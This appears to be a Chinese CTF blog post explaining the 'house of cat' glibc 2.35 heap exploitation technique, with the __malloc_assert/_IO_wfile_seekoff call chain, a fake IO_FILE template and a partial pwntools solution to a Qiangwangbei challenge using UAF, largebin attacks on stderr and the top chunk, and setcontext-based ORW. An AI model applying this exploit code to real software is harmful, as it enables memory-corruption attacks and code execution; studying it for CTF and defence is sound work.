house of cat

调用方法

调用链1

house of cat调用链

__malloc_assert2.35glibc 中源码如下

static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
		 const char *function)
{
  (void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
		     __progname, __progname[0] ? ": " : "",
		     file, line,
		     function ? function : "", function ? ": " : "",
		     assertion);
  fflush (stderr);
  abort ();
}

调用链

_malloc_assert-> __fxprintf->__vfxprintf->locked_vfxprintf->__vfprintf_internal->_IO_file_xsputn

在__vfprintf_internal函数中,是利用vtable来调用的,_IO_2_1_stderr 结构体中的 vtable _IO_file_seekoff 的地址,这样原本跳转执行 _IO_file_xsputn 时,实际上执行的是_IO_wfile_seekoff

在_IO_wfile_seekoff函数中

_IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode)
{
  off64_t result;
  off64_t delta, new_offset;
  long int count;

  if (mode == 0)
    return do_ftell_wide (fp);
......

  bool was_writing = ((fp->_wide_data->_IO_write_ptr
		       > fp->_wide_data->_IO_write_base)
		      || _IO_in_put_mode (fp));

  if (was_writing && _IO_switch_to_wget_mode (fp))
    return WEOF;
......
}

调用 _IO_switch_to_wget_mode

plain _IO_switch_to_wget_mode (FILE *fp) { if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base) if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF) return EOF; ...... }

执行_IO_WOVERFLOW ,该函数是通过 _wide_data->_wide_vtable 中所存放的函数指针进行跳转的, _wide_vtable 是我们可控的,将这个位置改成setcontext+61,其实也是一样的思想进行orw

继续跟进

查看一下伪造的fakechunk

如果开了沙盒,将此处改成setcontext就可以进行orw了

其实io的利用手法都是这样子

模版

fake_io_addr=heapbase+0xb00 # 伪造的fake_IO结构体的地址
next_chain = 0
fake_IO_FILE=p64(rdi)         #_flags=rdi
fake_IO_FILE+=p64(0)*7
fake_IO_FILE +=p64(1)+p64(2) # rcx!=0(FSOP)
fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=rdx
fake_IO_FILE +=p64(call_addr)#_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE = fake_IO_FILE.ljust(0x68, '\x00')
fake_IO_FILE += p64(0)  # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x88, '\x00')
fake_IO_FILE += p64(heapbase+0x1000)  # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xa0, '\x00')
fake_IO_FILE +=p64(fake_io_addr+0x30)#_wide_data,rax1_addr
fake_IO_FILE = fake_IO_FILE.ljust(0xc0, '\x00')
fake_IO_FILE += p64(1) #mode=1
fake_IO_FILE = fake_IO_FILE.ljust(0xd8, '\x00')
fake_IO_FILE += p64(libcbase+0x2160c0+0x10)  # vtable=IO_wfile_jumps+0x10
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40)  # rax2_addr

例题

强网杯house ofcat

开头会有验证,逆向之后发现

先输入一次 :LOGIN | r00t QWB QWXFadmin
然后每次循环要输入:CAT | r00t QWB QWXF\xff$就可以进行完整的功能

程序功能

增删查改

edit 函数只能使用两次,并且只能写入 0x30 字节的数据

如果是emma打的话,第一次修改就进行largebin attack劫持stderr

第二次修改largebin attack劫持__pointer_chk_guard

delete 函数存在 UAF 漏洞

add 函数申请的堆块大小的范围是 0x418~0x46f ,申请完堆块后可以向里面写入 size 字节的数据

show 函数只能泄露 0x30 字节的数据,正常的show功能

思路

泄露libc 之后

一次edit功能第一次largebin attack攻击,改stderr为我们的堆地址,在该堆地址上写入fake_IO

第二次edit功能,第二次largebin attack攻击,改top_chunk的size,再申请会触发malloc_assert

漏洞利用

泄露libc

add(0,0x420,'aaaa')
add(1,0x430,'aaaa')
add(2,0x418,'aaaa')
delete(0)
add(3,0x430,'aaaa')
show(0)
main_arena =uu64(ru('\x7f')[-6:])-1104
libc_base=main_arena-0x219C80
info('libc_base',libc_base)
rc(10)
heap_base=uu64(rc(6))-0x290
print('heap_base',hex(heap_base))

第一次largebin attack修改stderr

fake_io_addr=heap_base+0xb00 # 伪造的fake_IO结构体的地址
next_chain = 0
fake_IO_FILE  =p64(0)*6
fake_IO_FILE +=p64(1)+p64(0)
fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=rdx
fake_IO_FILE +=p64(setcontext+0x3d)#_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE  =fake_IO_FILE.ljust(0x58,b'\x00')
fake_IO_FILE +=p64(0)  # _chain
fake_IO_FILE  =fake_IO_FILE.ljust(0x78,b'\x00')
fake_IO_FILE += p64(heap_base+0x200)  # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90,b'\x00')
fake_IO_FILE +=p64(heap_base+0xb30) #rax1
fake_IO_FILE = fake_IO_FILE.ljust(0xB0,b'\x00')
fake_IO_FILE += p64(1)  # _mode = 1
fake_IO_FILE = fake_IO_FILE.ljust(0xC8,b'\x00')
fake_IO_FILE += p64(libc_base+0x2160c0+0x10)  # vtable=_IO_wfile_jumps+0x10
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40)  # rax2_addr
payload1=fake_IO_FILE+p64(0)*7+p64(heap_base+0x2480)+p64(ret)
flag_addr=heap_base+0x1c00

delete(2)
add(6,0x418,payload1)
target=stderr
edit(0,flat(main_arena+1104,main_arena+1104,heap_base+0x290,target-0x20))
delete(6)
add(4,0x430,'aaaa')

第二次largebin attack

add(5,0x440,'small')
add(7,0x430,'./flag')
add(8,0x430,'big')
delete(5)
add(9,0x450,orw)
delete(8)
target=heap_base+0x28d0+3
edit(5,flat(main_arena+1120,main_arena+1120,heap_base+0x17a0,target-0x20))

触发

posted @ 2024-09-06 16:19  L1N_yun  阅读(34)  评论(0)    收藏  举报